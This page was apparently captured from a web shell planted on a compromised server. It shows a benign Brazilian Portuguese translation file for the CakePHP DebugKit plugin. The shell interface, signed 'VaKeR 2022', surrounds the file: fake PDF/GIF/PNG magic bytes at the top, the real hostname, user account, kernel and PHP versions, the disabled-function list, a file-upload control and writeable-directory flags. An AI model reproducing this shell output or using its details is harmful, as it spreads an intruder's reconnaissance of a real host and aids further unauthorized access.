%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/vendor/cakephp/debug_kit/src/Locale/pt_BR/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/vendor/cakephp/debug_kit/src/Locale/pt_BR/LC_MESSAGES/debug_kit.po
# LANGUAGE translation of CakePHP Application
# Copyright YEAR NAME <EMAIL@ADDRESS>
# No version information was available in the source files.
#
#, fuzzy
msgid   ""
msgstr  "Project-Id-Version: PROJECT VERSION\n"
        "POT-Creation-Date: 2014-01-23 08:29+0200\n"
        "PO-Revision-Date: YYYY-mm-DD HH:MM+ZZZZ\n"
        "Last-Translator: Lincoln Brito <lincoln.sbrito@gmail.com>\n"
        "Language-Team: LANGUAGE <EMAIL@ADDRESS>\n"
        "MIME-Version: 1.0\n"
        "Content-Type: text/plain; charset=UTF-8\n"
        "Content-Transfer-Encoding: 8bit\n"
        "Plural-Forms: nplurals=2; plural=n>1;\n"

#: controllers/components/toolbar.php:91
msgid   "Component initialization and startup"
msgstr  "Inicialização de componente"

#: controllers/components/toolbar.php:140
msgid   "Controller Action"
msgstr  "Action do Controller"

#: controllers/components/toolbar.php:167
msgid   "Render Controller Action"
msgstr  "Renderizar Action do Controller"

#: controllers/components/toolbar.php:231
msgid   "Could not load DebugToolbar panel %s"
msgstr  "Não foi possível carregar o painel %s do DebugToolbar"

#: views/elements/debug_toolbar.ctp:25
msgid   "There are no active panels. You must enable a panel to see its output."
msgstr  "Não existem painéis ativos. Você deve habilitar um painel para visualizar sua saída."

#: views/elements/history_panel.ctp:21
msgid   "Request History"
msgstr  "Histórico de requisições"

#: views/elements/history_panel.ctp:23
msgid   "No previous requests logged."
msgstr  "Sem requisições anteriores logadas."

#: views/elements/history_panel.ctp:25
msgid   "previous requests available"
msgstr  "requisições anteriores disponíveis"

#: views/elements/history_panel.ctp:27
msgid   "Restore to current request"
msgstr  "Restaurar para requisição atual"

#: views/elements/log_panel.ctp:21
msgid   "Logs"
msgstr  "Logs"

#: views/elements/log_panel.ctp:28
msgid   "Time"
msgstr  "Tempo"

#: views/elements/log_panel.ctp:28 views/elements/timer_panel.ctp:54
msgid   "Message"
msgstr  "Mensagem"

#: views/elements/log_panel.ctp:37
msgid   "There were no log entries made this request"
msgstr  "Não houveram entradas no log para essa requisição "

#: views/elements/request_panel.ctp:21
msgid   "Request"
msgstr  "Requisição"

#: views/elements/request_panel.ctp:35
msgid   "Current Route"
msgstr  "Rota Atual"

#: views/elements/session_panel.ctp:21
msgid   "Session"
msgstr  "Sessão"

#: views/elements/sql_log_panel.ctp:21
msgid   "Sql Logs"
msgstr  "Logs Sql"

#: views/elements/sql_log_panel.ctp:31
msgid   "toggle (%s) query explains for %s"
msgstr  "alternar (%s) query explains por %s"

#: views/elements/sql_log_panel.ctp:39
msgid   "No slow queries!, or your database does not support EXPLAIN"
msgstr  "Sem consultas lentas!, ou o seu banco de dados não suporta EXPLAIN"

#: views/elements/sql_log_panel.ctp:44
msgid   "No active database connections"
msgstr  "Sem conexões ativas de banco de dados"

#: views/elements/timer_panel.ctp:33
msgid   "Memory"
msgstr  "Memória"

#: views/elements/timer_panel.ctp:35
msgid   "Current Memory Use"
msgstr  "Uso atual de memória"

#: views/elements/timer_panel.ctp:39
msgid   "Peak Memory Use"
msgstr  "Pico de uso de memória"

#: views/elements/timer_panel.ctp:43
msgid   "Timers"
msgstr  "Tempos"

#: views/elements/timer_panel.ctp:45
msgid   "%s (ms)"
msgstr  "%s (ms)"

#: views/elements/timer_panel.ctp:46
msgid   "Total Request Time:"
msgstr  "Tempo Total de Requisição"

#: views/elements/timer_panel.ctp:54
msgid   "Time in ms"
msgstr  "Tempo em ms"

#: views/elements/timer_panel.ctp:54
msgid   "Graph"
msgstr  "Gráfico"

#: views/elements/variables_panel.ctp:21
msgid   "View Variables"
msgstr  "Visualizar Variáveis"

#: views/helpers/simple_graph.php:79
msgid   "Starting %sms into the request, taking %sms"
msgstr  "Começando %sms na requisição, levando %sms"

VaKeR 2022